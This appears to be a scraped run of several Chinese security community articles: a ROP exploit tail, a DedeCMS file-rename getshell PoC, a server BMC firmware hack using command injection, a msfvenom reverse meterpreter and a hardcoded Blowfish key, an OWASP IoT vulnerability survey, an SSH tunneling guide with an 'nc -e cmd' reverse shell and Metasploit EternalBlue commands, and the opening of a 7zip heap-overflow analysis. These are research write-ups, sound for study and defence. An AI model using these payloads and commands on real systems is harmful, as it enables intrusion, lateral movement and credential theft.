ebx。这很重要，因为第二个工具可以用来在地址+ 0x5d5b04c4将一个常量添加到 ebx 。
我们的攻击计划是将一个常量值添加到puts GOT条目，这样结果就会指向 libc 地址。我们可以通过使用
pwntools找出所需添加的值（我们选择任意添加）。
>>> from pwn import *
>>> elf = ELF('libc-2.19.so')
>>> # 0x40069 is from the above magic libc offset
>>> print(0x40069 - elf.symbols['puts'])
-153075
>>> hex(0xffffffff-153075)
'0xfffdaa19'
这时，我们可以简单地调用puts来调用我们的神奇函数，并使用外壳程序。
让我们看看如何在ROP链中将这一计划付诸行动︰
**
**
**ROP链1**
* * *
因为我们目前内存有限，所以直接使用接下来的0x804a000 块调用 gets，这将使我们能够拥有更大的 ROP 链。
发送第二个ROP链。
枢轴堆栈到这个新的地址，所以我们现在可以执行一个多大的 ROP 链。
**
**
**ROP 链2**
* * *
调用gets(0x804a088)。
发送 0xfffdaa18 来存储数值到0x804a08c。
用正确堆栈调用Ebx 到 0xfffdaa13 mov eax ，将 puts-0x5d5b04c4
调用到eax（由于重新添加的小工具提出0x5d5b04c4 ）。
调用 0x80486be 添加常数到 puts ，来获得魔法 libc 地址。
调用 gets(0x804af00) 将字符串 /bin/sh放入内存。
调用 gets(0x804a088)，将指向字符串 /bin/sh 的指针放入到内存中，为第一个小工具做准备。
调用第一个工具将指向/bin/sh 的指针放入eax。
调用puts来触发libc小工具。
最终的代码可以在 Github 的 win_5.py 中找到。 | 社区文章 |
Dedecms V5.7版本后台可实现对于文件的重命名，可将上传的任意文件重名为php文件，导致getshell。
该漏洞的逻辑比较简单，就从漏洞的入口文件开始看，漏洞的入口文件是dede/file_manage_control.php，其部分源码如下：
重点就在于这里的if，由于dede采取的是伪全局变量注册机制，导致在未经过滤的情况下我们可声明任意变量。在该文件中，前面只是简单的验证身份是否正确，并没有对于变量进行任何过滤。也就是说，我们可控$fmdo,$oldfilename,$newfilename这三个变量。
跟进RenameFile方法，文件位于dede/file_class.php：
在这个方法中，对于传入的变量只是进行参数拼接操作，就是我们传入的参数前加上web服务的根目录的绝对路径。对于之后的变量没有任何过滤。导致我们可操作自行上传的文件。从而实现将任意类型文件重命名为php文件。
利用方式：
首先随便找个上传点，上传合法文件。获取上传之后的文件路径。
这里我找的是前台->会员中心->附件管理，从这上传一个zip文件，内容就是phpinfo()
可以在源码里看到上传文件的路径：
接下来构造触发重命名payload：
将文件路径的值填入oldfilename参数，这里注意不要加反斜杠
newfilename的值就是我们要生成的木马文件的名称。（由于我的dede并不是放在web服务的根目录下，因此我这里需要加上dedecms/）
fmdo构造为rename即可
最终生成以下poc:
[http://localhost/dedecms2/dede/file_manage_control.php?fmdo=rename&oldfilename=dedecms2/uploads/userup/1/151QM125-42I.zip&newfilename=dedecms2/wisdom.php](http://localhost/dedecms2/dede/file_manage_control.php?fmdo=rename&oldfilename=dedecms2/uploads/userup/1/151QM125-42I.zip&newfilename=dedecms2/wisdom.php)
执行之后访问：<http://localhost/dedecms2/wisdom.php>
配合存储型xss可getshell。
修复方案：在file_class.php中过滤$newname参数，或者file_manage_control.php中过滤$newfilename参数，判断文件后缀是否为php | 社区文章 |
# 0x0 背景
前几天在某鱼捡了个便宜主板
查了下应该是广达的工包测试板，全新，完全没资料网上查不到
服务器主板一般会有一个管理芯片BMC独立于整个主板，管理主板电源，温度，开关机，视频重定向。可以方便的通过网络管理维护机器，不用跑机房里爬上爬下插显示器搞。
一般来说BMC提供三种管理方式，分别是IPMI，Web和SSH
然而 **ipmitool能连上获取信息，却没有web，ssh也是连上就断**
于是找了一波文档，发现广达有个相似的型号的说明书
通过ipmi raw command开启BMC Web
看起来成功了。。。扫一下端口发现开了443
于是打开浏览器去连接。。。发现连不上
这。。。报了个奇怪的错误
注意到lighttpd，这种嵌入式设备服务端api都是用C写的。。。lighttpd会把请求交给一个二进制库处理。。应该是跑炸了，在html前面生成了一个`Parameter
Error!`
然后发现ssh也是连不上的，连上之后立马connection close
# 0x1 分析固件
查了一波资料，发现BMC芯片AST2400是个arm soc。。。板子上有自己独立的DDR内存，SPI Flash。
但是对着板子看了一圈也没看见串口在哪里，一般路由器的套路是能插串口改bootargs进系统，dump整个固件 or 传个gdb server进去
于是搜了一波资料发现有个socflash的工具可以读取固件
socflash_64.exe -b dump.bin
即可dump下来BMC的整个SPI Flash存储器
binwalk走一波
标准的linux嵌入式设备。。u-boot, kernel rootfs一个都不缺
`binwalk -e`提取即可
注意到第一个cramfs是个完整的linux文件系统，jffs2是一些配置文件，第二个cramfs是个web静态文件打包
# 0x2 发现web登录问题
既然提取了固件，直接暴力grep即可
再看下lighttpd配置文件，指向的正好是libmodhapi.so
那么api handler就在那个so中，拖进ida打开，找字符串
发现了这里有这个`Parameter Error!`
看下invalidUser交叉引用，找到了登录认证的部分
卧槽这也太蛇皮了。。。直接拼进system然后拿返回值，裸的命令注入
正好没shell没法调试，从这拿个shell再说
burp测一下
这边直接收到返回了
好，接下来需要弹一个shell
# 0x3 弹shell
把reverse shell cheat sheet测了一个遍。。都没法弹。
突然意识到。。。嵌入式设备用的busybox，没bash没nc啥都没有
那就只能传个二进制程序进去跑了
看了下kernel应该是arm小端序
用msf生成payload
msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=4445 -f elf > meterpreter.elf
wget下载，chmod +x，然后执行。注意`+`要url编码不然会被当成空格
即可弹回meterpreter
# 0x4 后续
有了shell啥都好办了，ssh登不上是有个配置文件写错了指向不存在的文件。。。出厂bug，果然是工厂流出的测试板
# 0x5 花絮 - 不安全的密码策略
众所周知嵌入式设备特别喜欢硬编码密钥然后给密码对称加密一下。CISCO type 7 password就是这么搞的
然后发现这个
于是看一下哪里处理的EncryptedPswd，找了一圈发现在`libipmi_helper.so.2.4.0`里
继续暴力grep，核心逻辑在`libipmiamioempwdenc.so.2.1.0`这个库里面
lib ipmi ami oem pwd enc
名称看起来很合理
丢进ida看看
跟到了`DecryptPassword`函数
继续找找到了`libblowfish.so`
解密逻辑就这么一点了，找了一圈没发现iv在哪，应该是ecb模式了
密码是SetEncryptKey从`/conf/pwdEncKey`获取的
就是megarac，软件名
于是搓个脚本解密一下
import blowfish
import base64
data = [
b"jT+Yah6ySlTO9NOzIXxkogAAAAAAAAAA",
b"OY7fIRe9fsQkinACXfgmUQAAAAAAAAAA",
b"zvTTsyF8ZKLO9NOzIXxkogAAAAAAAAAA",
b"f23Dq/SFBErO9NOzIXxkogAAAAAAAAAA",
b"masB7IKqyJ1+7HMeU4vo9wAAAAAAAAAA"
]
def decrypt(cipherText):
cipher = blowfish.Cipher(b"megarac")
decrypted = b"".join(cipher.decrypt_ecb(base64.b64decode(cipherText)))
return decrypted
for i in data:
print(decrypt(i))
成功解密
emmm我服了，，写个哈希那么难吗？？？ | 社区文章 |
原文：<https://embedi.com/blog/reflecting-upon-owasp-top-10-iot-vulnerabilities/>
众所周知，嵌入式设备在安全机制和服务的实现方面还面临许多问题，鉴于此，OWASP物联网项目针对智能设备[最常见IoT漏洞](https://www.owasp.org/index.php/OWASP_Internet_of_Things_Project
"最常见IoT漏洞")进行了详细的分类。
为了帮助读者加深理解，我们为每种类型的漏洞提供了现实中的例子。我们希望智能设备用户在阅读本文后，能够全面意识到每天会面临哪些威胁。读者会发现，为每种漏洞类型提供的实例都是截然不同的：从儿童玩具、报警装置、汽车到冰箱等，可谓应有尽有。
当然，某些实例其实属于多种漏洞类别，因为它们同时含有不同的安全漏洞，这进一步说明物联网设备的安全性的确让人堪忧。
注意：OWASP在漏洞类别中使用了一些缩略词，其含义如下所示：
* “A”表示应用程序
* “I”表示物联网
* “M”表示移动设备
**I1 不安全的Web接口**
* * *
一般情况下，攻击者首先会在智能设备的Web接口中寻找XSS、CSRF和SQLi漏洞。此外，这些接口中还经常出现“默认用户名和密码”和“缺乏帐户锁定机制”之类的漏洞。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| Heatmiser恒温器 | CWE-598：通过GET请求中的查询字符串泄露信息 |
攻击者可以访问设备的所有设置，进而根据攻击者的意愿来随意更改各种设置，例如时间或温度。
| 工业无线接入点Moxa AP | CWE-79：网页生成过程中没有对输入进行严格过滤（跨站脚本漏洞） |
攻击者可以获得经过认证的会话，并且该会话永不过期。
| AXIS相机 | CWE-20：输入验证不当 | 攻击者能够以root权限编辑操作系统中的任意文件。
| Belkin智能家居产品 |
CWE-79：网页生成过程中没有对输入进行严格过滤（跨站脚本漏洞）＆CWE-89：没有对SQL命令中的特殊元素进行严格过滤（SQL注入漏洞） |
攻击者可以劫持手机，并窃取敏感的个人数据。
| 路由器 D-Link DIR-300 | CWE-352：跨站请求伪造（CSRF） | 攻击者可以修改管理员密码并获得root权限。
| AVTECH网络摄像头、NVR、DVR | CWE-352：跨站请求伪造（CSRF） | 攻击者可以通过CSRF修改设备的所有设置，如用户密码。
| AGFEO智能家居ES 5xx/6xx | CWE-79：网页生成过程中没有对输入进行严格过滤（跨站脚本漏洞） |
攻击者可以读取存储在操作系统中的所有文件。此外，攻击者还可以修改设备的配置，上传任意更新。
| Loxone智能家居 | CWE-79：网页生成过程中没有对输入进行严格过滤（跨站脚本漏洞） | 攻击者可以通过基于Web的命令来控制设备的所有功能。
| 交换机TP-Link TL-SG108E | CWE-79：网页生成过程中没有对输入进行严格过滤（跨站脚本漏洞） |
攻击者可以在设备上植入存储型XSS代码，进而使管理员在浏览器中执行任意JavaScript代码。
| Hanbanggaoke网络摄像头 | CWE-650：信任服务器端的HTTP权限方法 | 攻击者可以修改管理员密码并获得root权限。
| 路由器Netgear | CWE-601：URL重定向至不可信站点（Open Redirect漏洞） |
互联网上的任何人都可以利用Cockup来控制该路由器，修改其DNS设置，并将浏览器重定向到恶意站点。
**I2 认证/授权漏洞**
* * *
通常情况下，如果存在这种类型的漏洞，则意味着攻击者可以通过用户的弱密码、密码恢复机制的缺陷以及双因子身份验证机制的缺失来控制智能设备。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| DV摄像机 Mvpower | CWE-521：弱密码以及CWE-284：访问控制不当 | 几乎任何人都可以访问DVR的设置，因为登录名和密码都是空的。
| DBPOWER U818A WIFI 四轴无人机 | CWE-276：不恰当的默认权限 | 攻击者可以从设备读取文件，如图像和视频文件。
| iSmartAlarm | CWE-287：不恰当的身份验证 | 攻击者可以向报警装置发送命令，控制报警装置的开/关状态，并激活报警装置的报警功能。
| DblTek GoIP | CWE-598：通过GET请求中的查询字符串泄露信息 | 攻击者可以通过向GoIP发送命令来修改其配置，比如关闭GoIP。
| Nuuo NVR（网络摄像机）和Netgear | CWE-259：使用硬编码密码 |
攻击者可以获得root权限，并使用该设备修改外部摄像机的相关设置来监视用户。
| Sony IPELA Engine网络摄像头 | CWE-287：不恰当的身份验证 |
攻击者可以通过摄像头发送被操纵的图像/视频，让摄像头加入Mirai之类的僵尸网络或仅用于监视用户。
| Western Digital My Cloud | CWE-287：不恰当的身份验证 | 攻击者可以完全控制设备。
| LG真空吸尘器 | CWE-287：不恰当的身份验证 | 攻击者可以远程激活并访问真空吸尘器的实时视频信息。
| Eminent EM6220相机 | CWE-312：以明文形式存储敏感信息 | 攻击者可以获取相机的root权限并监视相机用户。
| LIXIL Satis卫生间 | CWE-259：使用硬编码的密码 |
攻击者可能会导致设备突然打开/关闭马桶盖，激活坐浴盆或风干功能，引起用户不适或危及人身安全。
| 机载娱乐系统 | CWE-287：不恰当的身份验证 | 攻击者可以控制向乘客发送通知的方式，如发送虚假的高度或速度之类的飞行数据。
| 燃料型钻孔机 | CWE-259：使用硬编码密码 | 攻击者可以获取root访问权限并修改钻孔机的设置。
**I3 不安全的网络服务**
* * *
这里主要的问题是“开放了不必要的端口”，“通过UPnP向互联网暴露端口”以及“易受DoS攻击的网络服务”。 另外，未禁用的telnet也可能被用作攻击向量。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| 智能按摩器 | CWE-284：访问控制不当 |
攻击者可以改变按摩器的参数，这会导致相当痛苦的体验甚至引起身体伤害，如引发突然的肌肉条件反射、皮肤烧伤，甚至神经损或导致死亡。
| 植入式心脏设备 | CWE-284：访问控制不当 | 攻击者可以修改植入设备的编程命令，从而导致电池耗尽和/或不适当的起搏或电击。
| Hikvision Wi-Fi网络摄像头 | CWE-284：访问控制不当 | 攻击者可以远程利用或禁用摄像头。
| Foscam C1室内高清摄像机 | CWE-120：缓冲区复制过程中没有检查输入的大小（经典的缓冲区溢出漏洞） |
在摄像机上执行远程代码。该漏洞可能导致用户个人数据泄露。
| 玩具Furby | CWE-284：访问控制不当 | 攻击者可以修改固件并使用Furby来监视儿童。
| 玩具My Friend Cayla | CWE-284：访问控制不当 | 攻击者可以收集用户的信息并实施监控。
| iSmartAlarm | CWE-20：输入验证不当 | 攻击者可以冻结SmartAlarm，使其停止响应。
| iSPY Camera Tank | CWE-284：访问控制不当 | 攻击者可以以匿名用户的身份登录设备，并可以访问整个文件系统。
**I4 缺乏传输加密/完整性验证**
* * *
这里的问题主要集中在敏感信息以明文形式传递，SSL/TLS不可用或配置不当，或使用专有加密协议方面。含有这类漏洞的设备容易受到MiTM攻击。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| Owlet Wi-Fi婴儿心脏监护仪 | CWE-201：通过发送数据泄露信息 | 攻击者可以监视婴儿及其父母。
| 三星冰箱 | CWE-300：通过非端点访问通信信道（中间人攻击漏洞） | 攻击者可以窃取用户的Google凭据。
| 大众汽车 | CWE CATEGORY：加密问题 | 攻击者可以克隆遥控器并获得未经授权的汽车访问权限。
| HS-110智能插座 | CWE-201：通过发送数据泄露信息 | 攻击者可以控制插头的状态，如关闭其LED。
| Loxone智能家居 | CWE-201：通过发送数据泄露信息 | 攻击者可以控制智能家庭系统中的每台设备并窃取用户的凭证。
| 三星智能电视 | CWE-200：信息泄露 | 攻击者可以监控无线网络并进行暴力破解，以恢复密钥并解密通信流量。
| 路由器Dlink 850L | CWE-319：以明文形式传输的敏感信息 | 攻击者可以远程控制设备。
| Skaterboards Boosted, Revo, E-Go | CWE-300：通过非端点访问通信信道（中间人攻击漏洞） |
攻击者可以向设备发送各种命令来指挥它。
| LIFX智能LED灯泡 | CWE-327：使用可破解或危险的加密算法攻 | 击者可以捕获并解密流量，包括网络配置等。
| DJI Spark无人机 | CWE-327：使用可破解或危险的加密算法 | 攻击者可以访问设备的设置。
**I5 隐私问题**
* * *
OWASP将该漏洞定义为“收集的个人信息过多”，“收集的信息没有得到适当的保护”，以及“最终用户无权决定允许收集哪类数据”。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| Gator 2 smartwatch | CWE-359：泄露隐私信息（侵犯隐私） |
攻击者可以访问包含软件版本、IMEI、时间、定位方法（GPS与Wi-Fi）、位置坐标、电池电量等信息。
| 路由器D-Link DIR-600和DIR-300 | CWE-200：信息泄露 | 攻击者可以读取设备的敏感信息，或使其成为僵尸网络的一部分。
| 三星智能电视 | CWE-200：信息泄露 | 攻击者可以找到用于录音的二进制文件。
| 家庭安全摄像头 | CWE-359：泄露隐私信息（侵犯隐私） | 用户的私人照片可能被攻击者盗取并公布到互联网上。
| 智能成人玩具We-Vibe | CWE-359：泄露隐私信息（侵犯隐私） | 攻击者可以获取设备温度和振动强度等信息。
| iBaby M6婴儿监视器 | CWE-359：泄露隐私信息（侵犯隐私） | 攻击者可以查看用户的信息，包括视频录像等。
**I6 不安全的云接口**
* * *
通常情况下，这种类型的漏洞意味着，只要攻击者能够访问Internet，就可以获取私人数据。一方面，用于保护存储在云中的私人数据的加密算法的加密强度通常很弱；另一方面，即使加密算法具有足够的加密强度，仍然可能存在缺乏双因子身份验证，或者允许用户使用弱密码等安全漏洞。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| Seagate Personal Cloud Home Media Storage | CWE-598：通过GET请求中的查询字符串泄露信息 |
攻击者可以注入任意系统命令并窃取用户的私人数据。
| iCloud | CWE-307：身份验证尝试次数限制不当 | 攻击者可以访问用户存储在云中的私人照片。
| Vtech gadgets | CWE-359：泄露隐私信息（侵犯隐私） | 攻击者可以访问用户的信息进而实施勒索。
| Western Digital My Cloud | CWE-287：不恰当的身份验证 | 攻击者可以完全控制设备。
| 路由器Dlink 850L | CWE-319：以明文形式传输的敏感信息 | 攻击者可以获得对设备的完全控制权。
**I7 不安全移动设备接口**
* * *
这里的主要问题是“弱密码”，“缺乏双因子认证”和“无帐户锁定机制”。这种类型的漏洞常见于通过智能手机管理的物联网设备。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| 亚马逊智能锁 | CWE-284：访问控制不当 | 攻击者可以打开门锁。
| 智能成人玩具Vibratissimo | CWE-359：泄露隐私信息（侵犯隐私）＆CWE-287：不恰当的身份验证 |
攻击者可以访问用户的个人数据，包括清晰的图像、聊天记录、性取向、电子邮件地址和明文密码
| 智能网络摄像头 | CWE-312：以明文形式存储敏感信息 |
攻击者可以像用户那样使用该应用程序——例如，打开音频、麦克风和扬声器与儿童进行交流，或者肆意地访问儿童卧室的实时录像。
| 智能插座 | CWE-319：以明文形式传输的敏感信息 | 攻击者可以卸载已经安装的软件，并于原软件所在位置安装恶意软件。
| 运动手环（Fitbit、苹果、小米、Garmin、三星等） | CWE-319：以明文形式传输的敏感信息 | 攻击者可以监视运动手环的用户。
| Wink和Insteon智能家居系统 | CWE-613：会话失效时间不当 | 攻击者可以窃取用户的证书并使用已经连接的设备进行操作。
| Segway Ninebot | CWE-359：泄露隐私信息（侵犯隐私） | 攻击者可以访问用户的地理位置。
**I8 安全可配置性不足**
* * *
这个漏洞的本质在于，由于用户无法管理或应用安全机制，导致安全机制无法对设备充分发挥作用。有时，用户根本不知道这些机制的存在，这样为设备配置安全设置就成为无稽之谈了。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| ADSL设备ZTE ZXDSL | CWE-15：允许外部人员控制系统或进行相关配置 | 攻击者可以重置设备的配置。
| 毛绒玩具 | CWE-521：弱密码 | 儿童及其父母的录音的存储机制不够安全，这使得它们可以在互联网上轻松搜索到。
| Canon打印机 | CWE-269：权限管理不当＆CWE-295：证书验证不当 | 攻击者可以访问保护不当的设备并更新其固件。
| Parrot AR.Drone 2.0 | CWE-285：授权不当 | 攻击者可以通过移动应用程序无线控制无人机。
| Smart Nest Thermostat | CWE-269：权限管理不当 | 未经授权的攻击者可以访问Nest帐户。
**I9 不安全的软件/固件**
* * *
攻击者能够安装任意固件（无论是官方还是自定义的固件），因为系统没有进行相应的完整性或真实性检查。此外，攻击者还可以通过无线通信完全接管设备。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| 路由器D-Link DIR8xx | CWE-295：证书验证不当 | 攻击者可以更新路由器的固件，使设备变成僵尸网络的一部分。
| GeoVision公司的设备 | CWE-295：证书验证不 | 攻击者可以更新固件并完全接管设备。
| ikettle智能咖啡机 | CWE-15：允许外部人员控制系统或进行相关配置 |
攻击者可以完全控制设备，例如，打开设备并使其长期工作，这可能会引发火灾。
| Billion路由器7700NR4 | CWE-798：使用硬编码的证书 | 攻击者可以完全控制设备。
| iSmartAlarm | CWE-295：证书验证不当 | 攻击者可以获取用户的密码或个人数据。
| 路由器Dlink 850L | CWE-798：使用硬编码的证书 | 攻击者可以完全控制设备。
**I10 糟糕的物理安全**
* * *
只要拆开智能设备，攻击者就能找到其MCU、外部存储器等。此外，通过JTAG或其他连接器（UART、I2C、SPI），攻击者还可以对固件或外部存储器进行相应的读写操作。
设备类型 | 设备名称 | CWE | 安全影响
---|---|---|---
| D-Link相关设备 | CWE-284：访问控制不当 | 攻击者可以访问用户的私人信息，如照片等。
| 婴儿监视器Mi-Cam | CWE-284：访问控制不当 | 攻击者可以监视用户。
| TOTOLINK路由器 | CWE-20：输入验证不当 | 攻击者可以在设备中植入后门。
| 路由器TP-Link | CWE-284：访问控制不当 | 攻击者可以获得root权限并将设备变为僵尸网络的一部分。
| Smart Nest恒温器 | CWE-284：访问控制不当 | 攻击者可以从外设（例如USB或UART）启动处理器。
**小结**
* * *
* * *
随着物联网设备种类日益繁多，攻击者的目标也会越来越丰富。如果读者对其他设备的漏洞感兴趣的话，请访问我们的最新[文章](https://embedi.com/blog/grim-iot-reaper-1-and-0-day-vulnerabilities-at-the-service-of-botnets/
"文章")。此外，您也可以阅读[Safegadget](https://www.safegadget.com/139/hacked-internet-things-database/ "Safegadget")、[Exploitee](https://www.exploitee.rs/
"Exploitee")和[Awesome IoT Hacks](https://github.com/nebgnahz/awesome-iot-hacks
"Awesome IoT Hacks")方面的文章。
如您所见，这些类型的漏洞都很常见，并且大多数漏洞都属于应用程序安全的范畴。其中，某些设备甚至因为这些漏洞而变成僵尸网络的一部分。
美国国家标准与技术研究院最近发布了一份关于国际物联网国际网络安全标准化（IoT）状态的[白皮书](https://csrc.nist.gov/CSRC/media/Publications/nistir/8200/draft/documents/nistir8200-draft.pdf
"白皮书")，其中列出了用以提高软件安全的软件保障标准以及相关指南。此外，他们还建议供应商使用能够防止、阻止、检测和缓解恶意软件的安全软件。
**参考文章：**
* [“How to Test the Security of IoT Smart Devices” by Infosec Institute](http://resources.infosecinstitute.com/test-security-iot-smart-devices/ "“How to Test the Security of IoT Smart Devices” by Infosec Institute")
* [OWASP IoT Top Ten Infographic](https://www.owasp.org/images/8/8e/Infographic-v1.jpg "OWASP IoT Top Ten Infographic") | 社区文章 |
在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下，ssh协议是允许通过防火墙和边界设备的，所以经常被攻击者利用。同时ssh协议的传输过程是加密的，所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后，能够建立一些之前无法建立的TCP连接。
创建ssh隧道的常用参数如下：
-C：压缩传输，提高传输速度
-f ：将ssh传输转入后台执行，不占用当前的shell。
-N：建立静默连接（建立了连接，但是看不到具体的会话）
-g 允许远程主机连接本地用于转发的端口。
-L：本地端口转发
-R：远程端口转发
-D：动态转发（socks代理）
-P：指定ssh端口。
1.本地端口转发
测试环境如下：
外部vps可以访问内网web服务器，但是不能访问数据库服务器，内网web服务器可以和数据库服务器互相访问。
测试目标：以web服务器为跳板，访问数据库服务器的3389端口。
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
ssh -fCNg -L 1153:192.168.190.136:3389 [email protected] -p 22
netstat -anptl | grep 1153 查看本地1153端口，可以看到1153端口已经开启侦听。
使用rdesktop连接vps的1153端口，可以发现已经与数据服务器192.168.190.136的3389建立了连接
rdesktop 127.0.0.1:1153
ssh进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口；本地端口转发则是在本地监听一个端口，所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。
加密传输：
实验环境如下:
linux1 ： 192.168.190.110
linux2： 192.168.190.133
win7： 192.168.190.136
win2008: 192.168.190.132
在linux1和linux2之间建立一条ssh隐秘隧道，使win2008将自己的shell通过ssh隧道反弹给win7。
在linux1上执行如下命令：
ssh -fCNg -L 7006:192.168.190.136:333 [email protected] -p 22
在win7上使用nc监听本地333端口
nc -lvp 333
在win ser2008上使用nc连接linux1的7006端口
nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已经获得了win2008的shell了。
2.远程端口转发
测试环境如下：
左侧为攻击者vps（kali
linux）；右侧是一个小型内网，包含三台机器；内网没有边界设备，所以外部的vps不能访问内网中的三台机器；内网web服务器可以访问外网vps，数据库服务器和域控服务器均不能访问外网的vps。
测试目标：通过外网vps访问数据库服务器的3389端口。
以web服务器为跳板，将vps的1521端口的流量转发到数据库服务器的3389端口，然后访问vps的1521端口，就可以访问数据库服务器192.168.190.136的3389端口了。
在web服务器上执行如下命令：
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 1521:192.168.190.136:3389 [email protected]
netstat -anptl | grep 1521 查看远程 vps(192.168.190.110)发现已经开启对1521端口的监听
rdesktop 127.0.0.1:1521 访问vps的1521端口，即可与数据库服务器的3389端口建立连接。
总结：本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口，所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。
3.动态转发
测试环境如下：
在vps上执行如下命令,建立一个动态的socks代理通道
ssh fCNg -D 7000 [email protected]
查看本地7000端口的监听是否已经启动，可以看到ssh正在监听7000端口。
然后，在本地打开浏览器并设置网络代理，通过浏览器访问内网域控制器（192.168.190.132）。
此时，也可以使用metasploit挂socks代理扫描目标内网ms17-010
msfconsole -q
msf5 > setg proxies socks5:192.168.174.130:7000
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.190.132
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 > set rhost 192.168.190.136
msf5 > set lhost 192.168.174.130
msf5 > set lport 444
msf5 > set ReverseAllowProxy true
msf5 > exploit
总结：动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。
4.X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具，类似于VNC和X windows。
2.防火墙限制访问时，可以尝试通过 SSH 的 X 转发
ssh -X [email protected] -p 53
X协议转发测试
可以使用远程主机的图像化工具
ssh -X [email protected]
5.ssh隧道实战中的用法
若公网服务器没有Metasploit时，可以创建ssh隧道，将CS shell
转发到公网VPS的8080端口，在kali上创建本地kali到公网VPS的ssh隧道，然后就可以在kali上获得CS委派过来的shell了。
1.创建ssh隧道
公网vps的ssh配置修改如下：
AllowTcpForwarding yes
GatwayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
ssh -CfNg -R 1.1.1.1:3306:192.168.174.130:3306 [email protected] -p 1521
2.将CS的shell委派给公网VPS的3306端口
3.公网VPS的3306将收到的流量通过ssh隧道又传递给了本地kali的3306端口，从而获得了shell。
6.ssh隧道防御
ssh隧道之所以能被攻击者利用，主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单，在ACL中限制只有特定的ip地址才能连接ssh，以及设置系统完全使用带外管理等方法，都可以避免这一问题。 | 社区文章 |
# 漏洞分析：7zip CVE-2016-2334 HFS+代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 Marcin Noga，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/11/exploiting-cve-2016-2334.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2016年，Talos实验室公布了关于[CVE-2016-2334](https://www.talosintelligence.com/reports/TALOS-2016-0093/)漏洞的一份安全公告，该漏洞为远程执行代码漏洞，影响特定版本的7zip压缩软件。在文本中，我们会详细分析该漏洞的利用方法，构造可用的利用工具，我们的实验环境为Windows
7 x86系统，其中安装了存在漏洞的7zip软件（x86平台，15.05 beta版）。
## 二、漏洞分析
首先来看看7zip中存在漏洞的代码片段。读者可以阅读之前的安全公告了解更多技术细节。
当7zip解压缩HFS+文件系统上的某个压缩文件时就会触发该漏洞，漏洞位于CHandler::ExtractZlibFile函数内部。如上图所示，在代码中1575行，ReadStream_FALSE函数根据size参数获取需读取的字节数，将这些数据拷贝到名为buf的一个缓冲区中。CHandler::Extract函数中限定了buf缓冲区的大小为0x10000
+ 0x10（固定值）。问题在于，用户可以控制size参数，程序会从文件中直接读取该参数值（第1573行），没有经过任何过滤处理。
总结一下：
1、size参数：32位值，攻击者可以完全控制该参数。
2、buf参数：大小固定的缓冲区（0x10010字节）。
3、ReadStream_FALSE函数：为ReadFile函数的封装函数，换句话说，覆盖buf缓冲区的数据直接来自于输入文件，并且没有任何字符限制。
注意：在堆溢出场景中，如果溢出现象由read/ReadFile等类似函数引发，而这些代码通常最终会由内核（kernel）来执行，因此如果我们启用页堆（page
heap）选项，就不会出现溢出现象。内核能够感知不可用的页面（free/protected/guarded），直接导致系统调用（system
call）返回错误代码。在启用page heap选项前我们需要记住这一点。
我们需要创建一个基于HFS+文件系统的镜像，然后再修改这个镜像，以触发该漏洞。我们可以使用Apple
OSX系统来完成这一任务，在Windows平台上，我们也可以使用[python脚本](https://github.com/icewall/CVE-2016-2334/blob/master/hfsGenerator.py)完成该任务。在OSX
Snow Leopard
10.6及以上操作系统中，我们可以使用DiskUtil应用，带上–hfsCompressio参数来创建该镜像。接下来，我们会详细介绍如何修改该镜像来触发漏洞。目前，我们可以先来看看修改后的镜像，其结构如下所示：
c:> 7z l PoC.img
Scanning the drive for archives:
1 file, 40960000 bytes (40 MiB)
Listing archive: PoC.img
--
Path = PoC.img
Type = HFS
Physical Size = 40960000
Method = HFS+
Cluster Size = 4096
Free Space = 38789120
Created = 2016-07-09 16:41:15
Modified = 2016-07-09 16:59:06
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------ 2016-07-09 16:58:35 D.... Disk Image
2016-07-09 16:59:06 D.... Disk Image.fseventsd
2016-07-09 16:41:15 D.... Disk Image.HFS+ Private Directory Data
2016-07-09 16:41:16 ..... 524288 524288 Disk Image.journal
2016-07-09 16:41:15 ..... 4096 4096 Disk Image.journal_info_block
2016-07-09 16:41:15 D.... Disk Image.Trashes
2014-03-13 14:01:34 ..... 131072 659456 Disk Imageksh
2014-03-20 16:16:47 ..... 1164 900 Disk ImageWeb.collection
2016-07-09 16:41:15 D.... Disk Image[HFS+ Private Data]
2016-07-09 16:59:06 ..... 111 4096 Disk Image.fseventsd000000000f3527a
